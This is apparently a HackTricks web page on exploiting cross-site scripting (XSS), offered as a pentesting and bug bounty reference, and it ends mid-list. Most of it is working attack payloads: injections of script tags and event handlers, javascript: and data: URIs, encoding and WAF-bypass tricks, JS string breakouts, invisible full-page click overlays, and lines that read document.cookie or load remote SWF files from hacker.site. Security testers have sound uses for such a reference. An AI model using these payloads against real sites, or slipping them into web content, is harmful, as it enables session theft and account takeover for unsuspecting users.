Comment on page
XSS (Cross Site Scripting)
/

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
- 1.Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
- 2.Find the context where it's reflected/used.
- 3.If reflected
- 1.Check which symbols can you use and depending on that, prepare the payload:
- 1.In raw HTML:
- 1.Can you create new HTML tags?
- 2.Can you use events or attributes supporting
javascript:
protocol? - 3.Can you bypass protections?
- 4.Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo...), you could abuse a Client Side Template Injection.
- 5.If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
- 2.Inside a HTML tag:
- 1.Can you exit to raw HTML context?
- 2.Can you create new events/attributes to execute JS code?
- 3.Does the attribute where you are trapped support JS execution?
- 4.Can you bypass protections?
- 3.Inside JavaScript code:
- 1.Can you escape the
<script>
tag? - 2.Can you escape the string and execute different JS code?
- 3.Are your input in template literals ``?
- 4.Can you bypass protections?
- 4.Javascript function being executed
- 1.You can indicate the name of the function to execute. e.g.:
?callback=alert(1)
- 4.If used:
- 1.You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.
When working on a complex XSS you might find interesting to know about:
In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.
- Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
- Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
- Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.
When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.
If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code:
<img , <iframe , <svg , <script
... these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.If your input is reflected inside the value of the attribute of a tag you could try:
- 1.To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse:
"><img [...]
- 2.If you can escape from the attribute but not from the tag (
>
is encoded or deleted), depending on the tag you could create an event that executes JS code:" autofocus onfocus=alert(1) x="
- 3.If you cannot escape from the attribute (
"
is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event likeonclick=
you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attributehref
, where you can use thejavascript:
protocol to execute arbitrary code:href="javascript:alert(1)"
- 4.If your input is reflected inside "unexpoitable tags" you could try the
accesskey
trick to abuse the vuln (you will need some kind of social engineer to exploit this):" accesskey="x" onclick="alert(1)" x="
In this case your input is reflected between
<script> [...] </script>
tags of a HTML page, inside a .js
file or inside an attribute using javascript:
protocol:- If reflected between
<script> [...] </script>
tags, even if your input if inside any kind of quotes, you can try to inject</script>
and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected</script>
tag is inside the HTML code. - If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- If reflected inside template literals you can embed JS expressions using
${ ... }
syntax:var greetings = `Hello, ${alert(1)}`
- Unicode encode works to write valid javascript code:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting references the opportunity to declare functions, variables or classes after they are used.
Therefore if you have scenarios where you can Inject JS code after an undeclared object is used, you could fix the syntax by declaring it (so your code gets executed instead of throwing an error):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
For more info about Javascript Hoisting check: https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like:
?callback=callbackFunc
.A good way to find out if something given directly by the user is trying to be executed is modifying the param value (for example to 'Vulnerable') and looking in the console for errors like:

In case it's vulnerable, you could be able to trigger an alert just doing sending the value:
?callback=alert(1)
. However, it' very common that this endpoints will validate the content to only allow letters, numbers, dots and underscores ([\w\._]
).However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to access any element in the DOM:

Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly:
obj.sales.delOrders
.However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
There is JS code that is using unsafely some data controlled by an attacker like
location.href
. An attacker, could abuse this to execute arbitrary JS code.These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Some examples:

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse
<
to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Note: A HTML comment can be closed using -->
or --!>
In this case and if no black/whitelisting is used, you could use payloads like:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the
onfocus
attribute. In the XSS request, you need to end the URL with #
to make the page focus on that object and execute the code:/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
If some kind of blacklist is being used you could try to bypass it with some silly tricks:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Style events
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Even if you cannot escape from the attribute (
"
is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick=
you will be able to make it execute arbitrary code when it's clicked.
Another interesting example is the attribute href
, where you can use the javascript:
protocol to execute arbitrary code: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold):
<a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Note that URL encode will also work:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass inside event using Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
There you can use the protocols
javascript:
or data:
in some places to execute arbitrary JS code. Some will require user interaction on some won't.javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Places where you can inject these protocols
In general the
javascript:
protocol can be used in any tag that accepts the attribute href
and in most of the tags that accepts the attribute src
(but not <img
)<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Other obfuscation tricks
In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.
<a href="javascript:var a=''-alert(1)-''">
Moreover, there is another nice trick for these cases: Even if your input inside
javascript:...
is being URL encoded, it will be URL decoded before it's executed. So, if you need to escape from the string using a single quote and you see that it's being URL encoded, remember that it doesn't matter, it will be interpreted as a single quote during the execution time.'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Note that if you try to use both
URLencode + HTMLencode
in any order to encode the payload it won't work, but you can mix them inside the payload.Using Hex and Octal encode with
javascript:
You can use Hex and Octal encode inside the
src
attribute of iframe
(at least) to declare HTML tags to execute JS://Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary
<a href=
tag that contains the target="_blank" and rel="opener"
attributes, check the following page to exploit this behavior:First of all check this page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) for useful "on" event handlers.
In case there is some blacklist preventing you from creating this even handlers you can try the following bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
And in meta tags:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this:
" accesskey="x" onclick="alert(1)" x="
Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Bypasses for JavaScript code
If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.
For example, you could add some styling in the element like:
position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
<a href=”” id=someid class=test onclick=alert() a=””>
In these case you input is going to be reflected inside the JS code of a
.js
file or between <script>...</script>
tags or between HTML events that can execute JS code or between attributes that accepts the javascript:
protocol.If your code is inserted within
<script> [...] var input = 'reflected data' [...] </script>
you could easily escape closing the <script>
tag:</script><img src=1 onerror=alert(document.domain)>
Note that in this example we haven't even closed the single quote, but that's not necessary as the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.
If
<>
are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed:'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
In order to construct strings apart from single and double quotes JS also accepts backticks
``
. This is known as template literals as they allow to embedded JS expressions using ${ ... }
syntax.
Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... }
to execute arbitrary JS code:This can be abused using:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Special escapes
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other cha